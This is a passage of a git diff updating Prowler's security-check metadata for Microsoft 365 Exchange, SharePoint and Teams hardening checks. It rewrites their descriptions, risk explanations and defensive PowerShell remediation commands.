"Text": "Disable SMTP AUTH at the organization level to support secure, modern authentication practices and block legacy protocol usage.", - "Url": "https://learn.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/authenticated-client-smtp-submission" + "Text": "Disable **SMTP AUTH** tenant-wide and allow per-mailbox exceptions only when justified, time-bound, and monitored. Prefer **modern authentication** and secure submission alternatives. Apply **least privilege** and **defense in depth**, restrict app access, rotate secrets, and monitor send patterns for anomalies.", + "Url": "https://hub.prowler.com/check/exchange_transport_config_smtp_auth_disabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_transport_rules_mail_forwarding_disabled/exchange_transport_rules_mail_forwarding_disabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_transport_rules_mail_forwarding_disabled/exchange_transport_rules_mail_forwarding_disabled.metadata.json index d717e8f31b..e319d2cdd8 100644 --- a/prowler/providers/m365/services/exchange/exchange_transport_rules_mail_forwarding_disabled/exchange_transport_rules_mail_forwarding_disabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_transport_rules_mail_forwarding_disabled/exchange_transport_rules_mail_forwarding_disabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_transport_rules_mail_forwarding_disabled", - "CheckTitle": "Ensure mail transport rules are set to disable mail forwarding.", + "CheckTitle": "Transport rule does not allow forwarding mail to external domains", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Transport Rules", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure mail transport rules are set to disable mail forwarding.", - "Risk": "Enabling email auto-forwarding can be exploited by attackers or malicious insiders to exfiltrate sensitive data outside the organization, often without detection.", - "RelatedUrl": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/configuration-best-practices", + "Description": "**Microsoft 365 Exchange Online mail flow rules** are assessed for actions that **forward or redirect messages to external domains**. The finding highlights rules that add external recipients during transport.", + "Risk": "External auto-forwarding enables silent **data exfiltration**, bypassing **DLP** and retention, reducing **confidentiality**.\n\nA compromised mailbox can use forwarding for **persistence** and **lateral movement**, leaking sensitive content to untrusted domains and undermining communication **integrity**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules", + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/configuration-best-practices" + ], "Remediation": { "Code": { - "CLI": "Remove-TransportRule -Identity ", + "CLI": "Remove-TransportRule -Identity ", "NativeIaC": "", - "Other": "1. Select Exchange to open the Exchange admin center. 2. Select Mail Flow then Rules. 3. For each rule that redirects email to external domains, select the rule and click the 'Delete' icon.", + "Other": "1. In the Microsoft 365 admin center, go to Admin centers > Exchange\n2. Navigate to Mail flow > Rules\n3. For each rule that has the action \"Redirect the message to\", select the rule, click Edit\n4. Under \"Do the following\", remove the action \"Redirect the message to\"\n5. Click Save\n6. Repeat for any other rules with this action", "Terraform": "" }, "Recommendation": { - "Text": "Block all forms of mail forwarding using Transport rules in Exchange Online. Apply exclusions only where justified by organizational policy.", - "Url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + "Text": "Block external auto-forwarding at the organization level and prefer internal controls for sharing. Apply **least privilege** with narrowly scoped, time-bound exceptions only when justified.\n\nAdopt **defense in depth**: pair with DLP, outbound filtering, and alerts on new forwarding rules. Review and attest rules regularly.", + "Url": "https://hub.prowler.com/check/exchange_transport_rules_mail_forwarding_disabled" } }, "Categories": [ + "email-security", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_transport_rules_whitelist_disabled/exchange_transport_rules_whitelist_disabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_transport_rules_whitelist_disabled/exchange_transport_rules_whitelist_disabled.metadata.json index c7e0f580db..7cd0121c9b 100644 --- a/prowler/providers/m365/services/exchange/exchange_transport_rules_whitelist_disabled/exchange_transport_rules_whitelist_disabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_transport_rules_whitelist_disabled/exchange_transport_rules_whitelist_disabled.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "exchange_transport_rules_whitelist_disabled", - "CheckTitle": "Ensure mail transport rules do not whitelist specific domains", + "CheckTitle": "Transport rule does not whitelist any domains", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Transport Rules", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Mail flow rules (transport rules) in Exchange Online are used to identify and take action on messages that flow through the organization.", - "Risk": "Whitelisting domains in transport rules bypasses regular malware and phishing scanning, which can enable an attacker to launch attacks against your users from a safe haven domain.", - "RelatedUrl": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/configuration-best-practices", + "Description": "**Microsoft 365 Exchange Online mail flow rules** that whitelist specific sender domains by forcing `SCL` to `-1` (skip spam filtering) on matching messages", + "Risk": "**Domain-based whitelisting** skips **anti-spam/phish** analysis, allowing spoofed or compromised senders to reach the Inbox. This increases targeted phishing, BEC, and credential theft, enabling unauthorized access and data exfiltration, degrading **confidentiality** and **integrity**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/use-rules-to-set-scl", + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/configuration-best-practices", + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + ], "Remediation": { "Code": { - "CLI": "Remove-TransportRule -Identity ", + "CLI": "Set-TransportRule -Identity -SetSCL 0", "NativeIaC": "", - "Other": "1. Navigate to Exchange admin center https://admin.exchange.microsoft.com.. 2. Click to expand Mail Flow and then select Rules. 3. For each rule that whitelists specific domains, select the rule and click the 'Delete' icon.", + "Other": "1. Open the Exchange admin center: https://admin.exchange.microsoft.com\n2. Go to Mail flow > Rules\n3. Edit any rule that has: condition \"The sender domain is\" AND action \"Set the spam confidence level (SCL) = Bypass spam filtering\"\n4. In Do the following, change \"Set the spam confidence level (SCL)\" from Bypass spam filtering to 0 (or remove the action)\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Remove transport rules that whitelist specific domains to ensure proper scanning.", - "Url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + "Text": "Avoid blanket whitelisting. Do not set `SCL` to `-1` based solely on `sender domain`.\n\n- Prefer controlled allow mechanisms with review/expiry; keep **anti-spam/phish** active\n- If exceptions are unavoidable, apply **least privilege**: add strong conditions (auth results, known source IPs), narrow scope, time-bound, and monitor", + "Url": "https://hub.prowler.com/check/exchange_transport_rules_whitelist_disabled" } }, "Categories": [ + "email-security", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/exchange/exchange_user_mailbox_auditing_enabled/exchange_user_mailbox_auditing_enabled.metadata.json b/prowler/providers/m365/services/exchange/exchange_user_mailbox_auditing_enabled/exchange_user_mailbox_auditing_enabled.metadata.json index 227d0e4fd2..1529d870b1 100644 --- a/prowler/providers/m365/services/exchange/exchange_user_mailbox_auditing_enabled/exchange_user_mailbox_auditing_enabled.metadata.json +++ b/prowler/providers/m365/services/exchange/exchange_user_mailbox_auditing_enabled/exchange_user_mailbox_auditing_enabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "exchange_user_mailbox_auditing_enabled", - "CheckTitle": "Ensure mailbox auditing is enabled for all user mailboxes.", + "CheckTitle": "User mailbox auditing is enabled with required Admin, Delegate, and Owner actions and audit log age meets the minimum", "CheckType": [], "ServiceName": "exchange", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Exchange Mailboxes Properties", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure mailbox auditing is enabled for all user mailboxes, including the configuration of audit actions for owners, delegates, and admins beyond the Microsoft defaults. The difference between both subscription is the log age so this parameter is configurable and users can set it to their subscription needs.", - "Risk": "If auditing is not properly enabled and configured, critical mailbox actions may go unrecorded, reducing the ability to investigate incidents, enforce compliance, or detect malicious behavior.", - "RelatedUrl": "https://learn.microsoft.com/en-us/purview/audit-mailboxes?view=o365-worldwide", + "Description": "**Microsoft 365 Exchange Online user mailboxes** have auditing enabled, include a defined set of actions for **Owner**, **Delegate**, and **Admin**, and retain audit records for at least the configured baseline (default `90` days).", + "Risk": "**Incomplete or short-retained mailbox audits** degrade confidentiality and integrity.\n- Untracked `SendAs`, inbox rule changes, and deletions enable covert access and data loss\n- Narrow log windows create blind spots, delaying detection and hindering forensics and eDiscovery", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/purview/audit-mailboxes?view=o365-worldwide", + "https://o365info.com/mailbox-audit-powershell-microsoft-365/" + ], "Remediation": { "Code": { - "CLI": "$AuditAdmin = @(\"ApplyRecord\", \"Copy\", \"Create\", \"FolderBind\", \"HardDelete\", \"Move\", \"MoveToDeletedItems\", \"SendAs\", \"SendOnBehalf\", \"SoftDelete\", \"Update\", \"UpdateCalendarDelegation\", \"UpdateFolderPermissions\", \"UpdateInboxRules\"); $AuditDelegate = @(\"ApplyRecord\", \"Create\", \"FolderBind\", \"HardDelete\", \"Move\", \"MoveToDeletedItems\", \"SendAs\", \"SendOnBehalf\", \"SoftDelete\", \"Update\", \"UpdateFolderPermissions\", \"UpdateInboxRules\"); $AuditOwner = @(\"ApplyRecord\", \"Create\", \"HardDelete\", \"MailboxLogin\", \"Move\", \"MoveToDeletedItems\", \"SoftDelete\", \"Update\", \"UpdateCalendarDelegation\", \"UpdateFolderPermissions\", \"UpdateInboxRules\"); $MBX = Get-EXOMailbox -ResultSize Unlimited | Where-Object { $_.RecipientTypeDetails -eq \"UserMailbox\" }; $MBX | Set-Mailbox -AuditEnabled $true -AuditLogAgeLimit 90 -AuditAdmin $AuditAdmin -AuditDelegate $AuditDelegate -AuditOwner $AuditOwner", + "CLI": "Get-EXOMailbox -ResultSize Unlimited -RecipientTypeDetails UserMailbox | Set-Mailbox -AuditEnabled $true -AuditLogAgeLimit 90 -AuditAdmin @('ApplyRecord','Copy','Create','FolderBind','HardDelete','Move','MoveToDeletedItems','SendAs','SendOnBehalf','SoftDelete','Update','UpdateCalendarDelegation','UpdateFolderPermissions','UpdateInboxRules') -AuditDelegate @('ApplyRecord','Create','FolderBind','HardDelete','Move','MoveToDeletedItems','SendAs','SendOnBehalf','SoftDelete','Update','UpdateFolderPermissions','UpdateInboxRules') -AuditOwner @('ApplyRecord','Create','HardDelete','MailboxLogin','Move','MoveToDeletedItems','SoftDelete','Update','UpdateCalendarDelegation','UpdateFolderPermissions','UpdateInboxRules')", "NativeIaC": "", "Other": "", "Terraform": "" }, "Recommendation": { - "Text": "Enable mailbox auditing for all user mailboxes and configure auditing for key mailbox actions for owners, delegates, and admins.", - "Url": "https://learn.microsoft.com/en-us/purview/audit-mailboxes?view=o365-worldwide" + "Text": "Standardize mailbox auditing on all user mailboxes. Log critical actions for **Owner**, **Delegate**, and **Admin** (e.g., `SendAs`, `UpdateInboxRules`, `HardDelete`, `MailboxLogin`). Set `AuditLogAgeLimit` to meet policy ( baseline). Apply least privilege for delegates, avoid audit bypass, and regularly review or forward logs to monitoring.", + "Url": "https://hub.prowler.com/check/exchange_user_mailbox_auditing_enabled" } }, "Categories": [ + "logging", "e3", "e5" ], diff --git a/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_managed/sharepoint_external_sharing_managed.metadata.json b/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_managed/sharepoint_external_sharing_managed.metadata.json index ba76b044ae..cf4b98eddb 100644 --- a/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_managed/sharepoint_external_sharing_managed.metadata.json +++ b/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_managed/sharepoint_external_sharing_managed.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "sharepoint_external_sharing_managed", - "CheckTitle": "Ensure SharePoint external sharing is managed through domain whitelists/blacklists.", + "CheckTitle": "External sharing is restricted using a non-empty domain allowlist or blocklist", "CheckType": [], "ServiceName": "sharepoint", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Sharepoint Settings", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Control the sharing of documents to external domains by either blocking specific domains or only allowing sharing with named trusted domains.", - "Risk": "If domain-based sharing restrictions are not enforced, users may share documents with untrusted external entities, increasing the risk of data exfiltration or unauthorized access.", - "RelatedUrl": "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off", + "Description": "**Microsoft 365 SharePoint** external sharing uses **domain-based restrictions** via `AllowList` or `BlockList`. The evaluation inspects `sharingDomainRestrictionMode` and whether the corresponding domain list is populated, flagging when domain controls are missing or the selected list is empty.", + "Risk": "Without enforced domain limits, users may share with personal or rogue domains, enabling data exfiltration and unauthorized persistence.\n- Confidentiality: leaks of files and sites\n- Integrity: unvetted collaborators can alter content\n- Availability: takeovers can disrupt shared sites", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/sharepoint/restricted-domains-sharing", + "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off", + "https://blog.admindroid.com/restrict-domain-sharing-in-sharepoint-online-and-onedrive/" + ], "Remediation": { "Code": { - "CLI": "Set-SPOTenant -SharingDomainRestrictionMode AllowList -SharingAllowedDomainList 'domain1.com domain2.com'", + "CLI": "Set-SPOTenant -SharingDomainRestrictionMode AllowList -SharingAllowedDomainList 'contoso.com'", "NativeIaC": "", - "Other": "1. Navigate to SharePoint admin center https://admin.microsoft.com/sharepoint. 2. Expand Policies then click Sharing. 3. Expand More external sharing settings and check 'Limit external sharing by domain'. 4. Select 'Add domains' to configure a list of approved domains. 5. Click Save.", + "Other": "1. In the SharePoint admin center, go to Policies > Sharing\n2. Expand More external sharing settings and check Limit external sharing by domain\n3. Click Add domains, select Allow only specific domains (or Block specific domains)\n4. Enter at least one domain (e.g., contoso.com) and click Save\n5. On the Sharing page, click Save to apply", "Terraform": "" }, "Recommendation": { - "Text": "Enforce domain-based restrictions for SharePoint external sharing to control document sharing with trusted domains.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/sharepoint-online/set-spotenant?view=sharepoint-ps" + "Text": "Apply **least privilege** by enforcing domain-based sharing with a curated `AllowList` of trusted partners; use `BlockList` only to complement gaps.\n- Review and attest lists regularly\n- Use **defense in depth**: prefer authenticated, scoped links over public links and align with B2B governance and oversight.", + "Url": "https://hub.prowler.com/check/sharepoint_external_sharing_managed" } }, "Categories": [ + "internet-exposed", + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_restricted/sharepoint_external_sharing_restricted.metadata.json b/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_restricted/sharepoint_external_sharing_restricted.metadata.json index dfdd4aef00..e09a58a417 100644 --- a/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_restricted/sharepoint_external_sharing_restricted.metadata.json +++ b/prowler/providers/m365/services/sharepoint/sharepoint_external_sharing_restricted/sharepoint_external_sharing_restricted.metadata.json @@ -1,30 +1,36 @@ { "Provider": "m365", "CheckID": "sharepoint_external_sharing_restricted", - "CheckTitle": "Ensure external content sharing is restricted.", + "CheckTitle": "Organization external sharing is set to Existing guests only, New and existing guests, or Disabled", "CheckType": [], "ServiceName": "sharepoint", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Sharepoint Settings", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that external sharing settings in SharePoint are restricted to 'New and existing guests' or a less permissive level to enforce authentication and control over shared content.", - "Risk": "If external sharing is not restricted, unauthorized users may gain access to sensitive information, increasing the risk of data breaches and compliance violations.", - "RelatedUrl": "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off", + "Description": "**Microsoft 365 SharePoint** org-wide external sharing is evaluated to ensure it excludes anonymous 'Anyone' links and is restricted to **authenticated guests** via `ExternalUserSharingOnly`, `ExistingExternalUserSharingOnly`, or fully `Disabled`.", + "Risk": "Anonymous or overly permissive sharing enables uncontrolled link access, eroding **confidentiality** and accountability. With edit links, **integrity** can be altered by unknown parties. Forwarded links and caching complicate revocation, increasing **data exfiltration** and long-lived exposure.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off", + "https://learn.microsoft.com/en-us/powershell/module/sharepoint-online/set-spotenant?view=sharepoint-ps" + ], "Remediation": { "Code": { "CLI": "Set-SPOTenant -SharingCapability ExternalUserSharingOnly", "NativeIaC": "", - "Other": "1. Navigate to SharePoint admin center https://admin.microsoft.com/sharepoint. 2. Click to expand Policies > Sharing. 3. Locate the External sharing section. 4. Under SharePoint, move the slider bar to 'New and existing guests' or a less permissive level.", + "Other": "1. Go to the Microsoft 365 admin center > Admin centers > SharePoint\n2. Navigate to Policies > Sharing\n3. Under External sharing for SharePoint, select New and existing guests (or a more restrictive option: Existing guests only or Only people in your organization)\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict external sharing in SharePoint to 'New and existing guests' or a more restrictive setting to enhance security.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/sharepoint-online/set-spotenant?view=sharepoint-ps" + "Text": "Set org-level sharing to `ExternalUserSharingOnly` or stricter (`ExistingExternalUserSharingOnly`/`Disabled`). Apply **least privilege** with default links scoped to `SpecificPeople`, enforce Microsoft Entra B2B guest authentication, limit domains, require link expiration, block guest resharing, and monitor via audit logs.", + "Url": "https://hub.prowler.com/check/sharepoint_external_sharing_restricted" } }, "Categories": [ + "internet-exposed", + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/sharepoint/sharepoint_guest_sharing_restricted/sharepoint_guest_sharing_restricted.metadata.json b/prowler/providers/m365/services/sharepoint/sharepoint_guest_sharing_restricted/sharepoint_guest_sharing_restricted.metadata.json index 7a2836f7fc..fe77173c8f 100644 --- a/prowler/providers/m365/services/sharepoint/sharepoint_guest_sharing_restricted/sharepoint_guest_sharing_restricted.metadata.json +++ b/prowler/providers/m365/services/sharepoint/sharepoint_guest_sharing_restricted/sharepoint_guest_sharing_restricted.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "sharepoint_guest_sharing_restricted", - "CheckTitle": "Ensure that SharePoint guest users cannot share items they don't own.", + "CheckTitle": "Guest users cannot share items they do not own", "CheckType": [], "ServiceName": "sharepoint", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "medium", - "ResourceType": "Sharepoint Settings", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that guest users in SharePoint cannot share items they do not own, preventing unauthorized disclosure of shared content.", - "Risk": "If guest users are allowed to share items they don't own, there is a higher risk of unauthorized data exposure, as external users could share content beyond intended recipients.", - "RelatedUrl": "https://learn.microsoft.com/en-us/sharepoint/external-sharing-overview", + "Description": "**Microsoft 365 SharePoint** tenant sharing settings evaluate whether **guest resharing** is disabled (`resharingEnabled=false`).\n\nFocus is the org-level option that blocks guests from sharing items they don't own.", + "Risk": "Allowing **guest resharing** threatens confidentiality and integrity:\n- External users can extend access beyond oversight\n- Edit permissions enable unauthorized changes or deletion\n- Link sprawl reduces accountability and control\n\nSensitive data can spread across sites, hindering revocation and response.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off", + "https://learn.microsoft.com/en-us/sharepoint/external-sharing-overview" + ], "Remediation": { "Code": { - "CLI": "Set-SPOTenant -PreventExternalUsersFromResharing $True", + "CLI": "Set-SPOTenant -PreventExternalUsersFromResharing $true", "NativeIaC": "", - "Other": "1. Navigate to SharePoint admin center https://admin.microsoft.com/sharepoint. 2. Click to expand Policies then select Sharing. 3. Expand More external sharing settings and uncheck 'Allow guests to share items they don't own'. 4. Click Save.", + "Other": "1. Go to the SharePoint admin center: https://admin.microsoft.com/sharepoint\n2. Navigate to Policies > Sharing\n3. Expand More external sharing settings and uncheck \"Allow guests to share items they don't own\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict guest users from sharing items they don't own to enhance security and prevent unauthorized access.", - "Url": "https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off" + "Text": "Disable **guest resharing** and apply **least privilege** so only owners or designated roles can share.\n\nLimit external sharing scope, require authenticated `Specific people` links with expirations, review guest access regularly, and monitor sharing activity to enforce **defense in depth**.", + "Url": "https://hub.prowler.com/check/sharepoint_guest_sharing_restricted" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/sharepoint/sharepoint_modern_authentication_required/sharepoint_modern_authentication_required.metadata.json b/prowler/providers/m365/services/sharepoint/sharepoint_modern_authentication_required/sharepoint_modern_authentication_required.metadata.json index f655cab021..b80048578e 100644 --- a/prowler/providers/m365/services/sharepoint/sharepoint_modern_authentication_required/sharepoint_modern_authentication_required.metadata.json +++ b/prowler/providers/m365/services/sharepoint/sharepoint_modern_authentication_required/sharepoint_modern_authentication_required.metadata.json @@ -1,31 +1,35 @@ { "Provider": "m365", "CheckID": "sharepoint_modern_authentication_required", - "CheckTitle": "Ensure modern authentication for SharePoint applications is required.", + "CheckTitle": "Requires modern authentication for applications", "CheckType": [], "ServiceName": "sharepoint", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Sharepoint Settings", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure that modern authentication is required for SharePoint applications in Microsoft 365, preventing the use of legacy authentication protocols and blocking access to apps that don't use modern authentication.", - "Risk": "If modern authentication is not enforced, SharePoint applications may rely on basic authentication, which lacks strong security measures like MFA and increases the risk of credential theft.", - "RelatedUrl": "https://learn.microsoft.com/en-us/graph/api/resources/sharepoint?view=graph-rest-1.0", + "Description": "**Microsoft 365 SharePoint** tenant settings require **modern authentication** for applications and block access for apps using legacy protocols.\n\nThe assessment determines whether legacy authentication is disabled so only OAuth-based sign-ins with advanced controls are allowed.", + "Risk": "Without modern authentication, SharePoint is exposed to:\n- Password spraying and credential stuffing (no MFA)\n- Session/token capture and replay from basic auth\n- Unauthorized access leading to data exfiltration and tampering\n\nThis undermines data **confidentiality** and **integrity**, enabling lateral movement.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/graph/api/resources/sharepoint?view=graph-rest-1.0", + "https://learn.microsoft.com/en-us/powershell/module/sharepoint-online/set-spotenant?view=sharepoint-ps" + ], "Remediation": { "Code": { "CLI": "Set-SPOTenant -LegacyAuthProtocolsEnabled $false", "NativeIaC": "", - "Other": "1. Navigate to SharePoint admin center https://admin.microsoft.com/sharepoint. 2. Click to expand Policies select Access control. 3. Select Apps that don't use modern authentication. 4. Select the radio button for Block access. 5. Click Save.", + "Other": "1. Open the SharePoint admin center (admin.microsoft.com/sharepoint)\n2. Go to Policies > Access control > Apps that don't use modern authentication\n3. Select Block access and click Save", "Terraform": "" }, "Recommendation": { - "Text": "Block access for SharePoint applications that don't use modern authentication to ensure secure authentication mechanisms.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/sharepoint-online/set-spotenant?view=sharepoint-ps" + "Text": "Enforce **modern authentication** tenant-wide and disable legacy protocols. Require **MFA** and apply **conditional access** to all SharePoint apps. Migrate or block legacy clients, adhere to **least privilege** for app permissions, and monitor sign-ins to eradicate legacy auth usage.", + "Url": "https://hub.prowler.com/check/sharepoint_modern_authentication_required" } }, "Categories": [ - "e3" + "identity-access" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/m365/services/sharepoint/sharepoint_onedrive_sync_restricted_unmanaged_devices/sharepoint_onedrive_sync_restricted_unmanaged_devices.metadata.json b/prowler/providers/m365/services/sharepoint/sharepoint_onedrive_sync_restricted_unmanaged_devices/sharepoint_onedrive_sync_restricted_unmanaged_devices.metadata.json index 011f12ab15..f6a46d655a 100644 --- a/prowler/providers/m365/services/sharepoint/sharepoint_onedrive_sync_restricted_unmanaged_devices/sharepoint_onedrive_sync_restricted_unmanaged_devices.metadata.json +++ b/prowler/providers/m365/services/sharepoint/sharepoint_onedrive_sync_restricted_unmanaged_devices/sharepoint_onedrive_sync_restricted_unmanaged_devices.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "sharepoint_onedrive_sync_restricted_unmanaged_devices", - "CheckTitle": "Ensure OneDrive sync is restricted for unmanaged devices.", + "CheckTitle": "OneDrive sync from unmanaged devices is blocked", "CheckType": [], "ServiceName": "sharepoint", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Sharepoint Settings", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Microsoft OneDrive allows users to sign in their cloud tenant account and begin syncing select folders or the entire contents of OneDrive to a local computer. By default, this includes any computer with OneDrive already installed, whether it is Entra Joined, Entra Hybrid Joined or Active Directory Domain joined. The recommended state for this setting is Allow syncing only on computers joined to specific domains Enabled: Specify the AD domain GUID(s).", - "Risk": "Unmanaged devices can pose a security risk by allowing users to sync sensitive data to unauthorized devices, potentially leading to data leakage or unauthorized access.", - "RelatedUrl": "https://learn.microsoft.com/en-us/graph/api/resources/sharepoint?view=graph-rest-1.0", + "Description": "**Microsoft 365 SharePoint** tenant settings for **OneDrive sync** enforce that only **managed, domain-joined devices** can sync. The evaluation looks for a configured list of approved `domain GUIDs` that limits syncing to specific Active Directory domains.", + "Risk": "Without this restriction, users can sync SharePoint/OneDrive files to **unmanaged devices**, undermining:\n- **Confidentiality**: data copied to personal or lost endpoints, outside DLP.\n- **Integrity**: malicious edits synced back to sites.\n- **Availability**: mass deletion or ransomware can propagate via sync clients.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/graph/api/resources/sharepoint?view=graph-rest-1.0", + "https://learn.microsoft.com/en-us/sharepoint/allow-syncing-only-on-specific-domains" + ], "Remediation": { "Code": { - "CLI": "Set-SPOTenantSyncClientRestriction -Enable -DomainGuids '; ; ...'", + "CLI": "Set-SPOTenantSyncClientRestriction -Enable -DomainGuids ''", "NativeIaC": "", - "Other": "1. Navigate to SharePoint admin center https://admin.microsoft.com/sharepoint 2. Click Settings then select OneDrive - Sync. 3. Check the Allow syncing only on computers joined to specific domains. 4. Use the Get-ADDomain PowerShell command on the on-premises server to obtain the GUID for each on-premises domain. 5. Click Save.", + "Other": "1. Go to the SharePoint admin center: https://admin.microsoft.com/sharepoint\n2. Select Settings > Sync\n3. Check \"Allow syncing only on computers joined to specific domains\"\n4. Enter at least one AD domain GUID (separate multiple GUIDs with semicolons)\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict OneDrive sync to managed devices to prevent unauthorized access to sensitive data.", - "Url": "https://learn.microsoft.com/en-us/sharepoint/allow-syncing-only-on-specific-domains" + "Text": "Allow OneDrive sync only from **managed, domain-joined devices** by maintaining an approved `domain GUIDs` list. For Entra-joined devices, require **device compliance** via **Conditional Access**. Apply **least privilege**, use **DLP/sensitivity labels**, and periodically review exceptions.", + "Url": "https://hub.prowler.com/check/sharepoint_onedrive_sync_restricted_unmanaged_devices" } }, "Categories": [ + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_email_sending_to_channel_disabled/teams_email_sending_to_channel_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_email_sending_to_channel_disabled/teams_email_sending_to_channel_disabled.metadata.json index 824af84af4..4a7c932cff 100644 --- a/prowler/providers/m365/services/teams/teams_email_sending_to_channel_disabled/teams_email_sending_to_channel_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_email_sending_to_channel_disabled/teams_email_sending_to_channel_disabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "teams_email_sending_to_channel_disabled", - "CheckTitle": "Ensure users are not be able to email the channel directly.", + "CheckTitle": "Email to Teams channel addresses is disabled", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Teams Settings", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure users can not send emails to channel email addresses.", - "Risk": "Allowing users to send emails to Teams channel email addresses introduces a security risk, as these addresses are outside the tenant’s domain and lack proper security controls. This creates a potential attack vector where threat actors could exploit the channel email to deliver malicious content or spam.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/get-csteamsclientconfiguration?view=teams-ps", + "Description": "**Microsoft 365 Teams** tenant configuration for **channel email addresses** determines if channels can receive messages via email. This evaluates the `allow_email_into_channel` setting.", + "Risk": "Allowing email into channels lets outsiders inject content, links, and attachments into Teams. Leaked addresses enable **phishing**, **malware delivery**, and spam, undermining **confidentiality** and **integrity**, and adding noise that affects **availability**; posts may bypass user-authenticated context.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/get-csteamsclientconfiguration?view=teams-ps" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsClientConfiguration -Identity Global -AllowEmailIntoChannel $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Teams select Teams settings. 3. Under email integration set Users can send emails to a channel email address to Off.", + "Other": "1. Sign in to the 